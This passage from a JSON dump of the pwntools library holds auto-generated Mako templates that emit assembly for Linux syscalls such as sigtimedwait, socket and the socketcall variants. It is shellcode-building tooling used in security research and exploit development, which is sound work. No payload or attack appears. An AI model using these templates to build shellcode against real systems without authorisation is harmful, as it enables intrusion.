    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sigtimedwait(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall sigtimedwait.\n\nSee 'man 2 sigtimedwait' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_rt_sigtimedwait']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_rt_sigtimedwait'])\n%>\n    /* sigtimedwait(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sigtimedwait_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sigtimedwait_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall sigtimedwait_time64.\n\nSee 'man 2 sigtimedwait_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_rt_sigtimedwait_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_rt_sigtimedwait_time64'])\n%>\n    /* sigtimedwait_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socket.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socket(domain, type, protocol) -> str\n\nInvokes the syscall socket.\n\nSee 'man 2 socket' for more information.\n\nArguments:\n    domain(int): domain\n    type(int): type\n    protocol(int): protocol\nReturns:\n    int\n</%docstring>\n<%page args=\"domain=0, type=0, protocol=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['domain', 'type', 'protocol']\n    argument_values = [domain, type, protocol]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socket']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socket'])\n%>\n    /* socket(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall(call, args) -> str\n\nInvokes the syscall socketcall.\n\nSee 'man 2 socketcall' for more information.\n\nArguments:\n    call(int): call\n    args(unsigned*): args\nReturns:\n    int\n</%docstring>\n<%page args=\"call=0, args=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['call', 'args']\n    argument_values = [call, args]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall'])\n%>\n    /* socketcall(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_accept.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_accept(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_accept.\n\nSee 'man 2 socketcall_accept' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_accept']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_accept'])\n%>\n    /* socketcall_accept(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_bind.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_bind(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_bind.\n\nSee 'man 2 socketcall_bind' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_bind']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_bind'])\n%>\n    /* socketcall_bind(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_connect.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_connect(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_connect.\n\nSee 'man 2 socketcall_connect' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_connect']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_connect'])\n%>\n    /* socketcall_connect(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_getpeername.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_getpeername(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_getpeername.\n\nSee 'man 2 socketcall_getpeername' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_getpeername']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_socketcall_getpeername'])\n%>\n    /* socketcall_getpeername(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/socketcall_getsockname.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>socketcall_getsockname(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall socketcall_getsockname.\n\nSee 'man 2 socketcall_getsockname' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_socketcall_getsockname']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % 